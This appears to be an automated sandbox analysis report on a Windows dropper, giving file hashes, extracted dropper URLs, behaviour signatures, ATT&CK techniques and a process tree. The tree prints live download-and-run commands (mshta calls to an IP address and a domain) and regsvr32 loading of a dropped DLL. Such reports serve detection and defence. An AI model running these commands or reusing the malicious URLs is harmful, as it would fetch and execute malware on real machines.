ea88759df2b65f7904b998d5bbfae17dc3bca11b05c889e7043770298c7b645c

Analysis

max time kernel
141s
max time network
134s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
30/11/2024, 05:11

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General

Target

ea88759df2b65f7904b998d5bbfae17dc3bca11b05c889e7043770298c7b645c.exe
Size

31KB
MD5

ab30aae35c2c14af366a5647ca1e53e1
SHA1

8d30e8b000e09763e18c3b330a91cccd5e5770da
SHA256

ea88759df2b65f7904b998d5bbfae17dc3bca11b05c889e7043770298c7b645c
SHA512

b01ea5f06121288b966ecd5e84d146ab3dddd1a23a2b3ea135607a69b2c9c309a6d8833664ab231247415adf1b7b9edb91337e12f9a508b52914c48ce323cb94
SSDEEP

768:sYzkFZqKKeZOyYMY1J4UWPknF0KaHw2PQUbj3m1hv9:YFIeZRYMIJSPkF0KaHFQ8shF

Score

10^/10

discovery upx

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://95.211.27.154/install.php?id=02944

Extracted

Language

hta

Source

URLs

hta.dropper

http://urodinam.net/8732489273.php

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
5	2640	mshta.exe
9	2668	mshta.exe
11	2668	mshta.exe
14	2668	mshta.exe
19	2640	mshta.exe

Executes dropped EXE 2 IoCs

pid	Process
2592	dll.exe
2608	32.exe

Loads dropped DLL 4 IoCs

pid	Process
944	cmd.exe
944	cmd.exe
944	cmd.exe
944	cmd.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2084-0-0x0000000000400000-0x0000000000419000-memory.dmp	upx
behavioral1/memory/2084-19-0x0000000000400000-0x0000000000419000-memory.dmp	upx

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dll.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ea88759df2b65f7904b998d5bbfae17dc3bca11b05c889e7043770298c7b645c.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

NTFS ADS 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\ C:\Users\Admin\AppData\Local\Temp\hlp.dll	dll.exe
File created	C:\Users\Admin\AppData\Local\Temp\ C:\Users\Admin\AppData\Local\Temp\temp.exe	32.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 2084 wrote to memory of 2640	2084	ea88759df2b65f7904b998d5bbfae17dc3bca11b05c889e7043770298c7b645c.exe	30
PID 2084 wrote to memory of 2640	2084	ea88759df2b65f7904b998d5bbfae17dc3bca11b05c889e7043770298c7b645c.exe	30
PID 2084 wrote to memory of 2640	2084	ea88759df2b65f7904b998d5bbfae17dc3bca11b05c889e7043770298c7b645c.exe	30
PID 2084 wrote to memory of 2640	2084	ea88759df2b65f7904b998d5bbfae17dc3bca11b05c889e7043770298c7b645c.exe	30
PID 2084 wrote to memory of 2668	2084	ea88759df2b65f7904b998d5bbfae17dc3bca11b05c889e7043770298c7b645c.exe	31
PID 2084 wrote to memory of 2668	2084	ea88759df2b65f7904b998d5bbfae17dc3bca11b05c889e7043770298c7b645c.exe	31
PID 2084 wrote to memory of 2668	2084	ea88759df2b65f7904b998d5bbfae17dc3bca11b05c889e7043770298c7b645c.exe	31
PID 2084 wrote to memory of 2668	2084	ea88759df2b65f7904b998d5bbfae17dc3bca11b05c889e7043770298c7b645c.exe	31
PID 2084 wrote to memory of 944	2084	ea88759df2b65f7904b998d5bbfae17dc3bca11b05c889e7043770298c7b645c.exe	32
PID 2084 wrote to memory of 944	2084	ea88759df2b65f7904b998d5bbfae17dc3bca11b05c889e7043770298c7b645c.exe	32
PID 2084 wrote to memory of 944	2084	ea88759df2b65f7904b998d5bbfae17dc3bca11b05c889e7043770298c7b645c.exe	32
PID 2084 wrote to memory of 944	2084	ea88759df2b65f7904b998d5bbfae17dc3bca11b05c889e7043770298c7b645c.exe	32
PID 944 wrote to memory of 2592	944	cmd.exe	34
PID 944 wrote to memory of 2592	944	cmd.exe	34
PID 944 wrote to memory of 2592	944	cmd.exe	34
PID 944 wrote to memory of 2592	944	cmd.exe	34
PID 944 wrote to memory of 1504	944	cmd.exe	36
PID 944 wrote to memory of 1504	944	cmd.exe	36
PID 944 wrote to memory of 1504	944	cmd.exe	36
PID 944 wrote to memory of 1504	944	cmd.exe	36
PID 944 wrote to memory of 1504	944	cmd.exe	36
PID 944 wrote to memory of 1504	944	cmd.exe	36
PID 944 wrote to memory of 1504	944	cmd.exe	36
PID 944 wrote to memory of 2608	944	cmd.exe	37
PID 944 wrote to memory of 2608	944	cmd.exe	37
PID 944 wrote to memory of 2608	944	cmd.exe	37
PID 944 wrote to memory of 2608	944	cmd.exe	37

C:\Users\Admin\AppData\Local\Temp\ea88759df2b65f7904b998d5bbfae17dc3bca11b05c889e7043770298c7b645c.exe
"C:\Users\Admin\AppData\Local\Temp\ea88759df2b65f7904b998d5bbfae17dc3bca11b05c889e7043770298c7b645c.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2084
- C:\Windows\SysWOW64\mshta.exe
  mshta http://95.211.27.154/install.php?id=02944
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  - Modifies Internet Explorer settings
  PID:2640
- C:\Windows\SysWOW64\mshta.exe
  mshta http://urodinam.net/8732489273.php
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  - Modifies Internet Explorer settings
  PID:2668
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\Temp\temp.bat
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:944
- - C:\Users\Admin\AppData\Local\Temp\dll.exe
    C:\Users\Admin\AppData\Local\Temp\dll.exe C:\Users\Admin\AppData\Local\Temp\hlp.dll
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - NTFS ADS
    PID:2592
- - C:\Windows\SysWOW64\regsvr32.exe
    regsvr32 /s C:\Users\Admin\AppData\Local\Temp\hlp.dll
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1504
- - C:\Users\Admin\AppData\Local\Temp\32.exe
    C:\Users\Admin\AppData\Local\Temp\32.exe C:\Users\Admin\AppData\Local\Temp\temp.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - NTFS ADS
    PID:2608

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\dll.exe

Filesize
3KB

MD5
892eb2047d566f2e0288ecd98e150a4a

SHA1
557020450be4ca2e19dec021865b4ca14fc032d6

SHA256
56608e8b3bf96e9a1644c819713b6de1511002aeaa41299fe0dfd136f63ab635

SHA512
00db937ff6f337ccca134575cd4e159a5112c69e1347a09295ef31120fe465c1aa41d660c1fd6064cc524b98496a6cbe32cc731cc14245bc783ca6c2ef69bbe1

Download Submit
C:\Users\Admin\AppData\Local\Temp\temp.bat

Filesize
284B

MD5
23f055817c526491f40ed984f0fbdf7a

SHA1
6610dbcb67418435134ccf65aa7fae786cebef49

SHA256
a8c56d888219ada4d7064537f9fba2c05cac10ec552758e6d02d89da5d8e67fd

SHA512
d8a1abd46114026ae525c1aa45579b32980ac568450313f7911cf45b97025a244dec0b85dcbc41798145af23aef6cd312e2f556692c4338637f51fe83cf044b4

Download Submit
\Users\Admin\AppData\Local\Temp\32.exe

Filesize
3KB

MD5
67e233f1b51099732474c59d3d9c179b

SHA1
5585c79a211e4882096f753d79e0814f9f9bd5d7

SHA256
66ea418d861239407dd5b524c6443404b2e27b45097a585b4257e79666f859e4

SHA512
e54ce43b78e18b0632e4dba9e23afddbc5080fe837d31920bf51da11d8da535a84c10f65098e32e5cf27ffbf78bd9d283e88baeebd362f6855ddb0adcc83d45e

Download Submit
memory/2084-0-0x0000000000400000-0x0000000000419000-memory.dmp

Filesize
100KB

Download
memory/2084-19-0x0000000000400000-0x0000000000419000-memory.dmp

Filesize
100KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads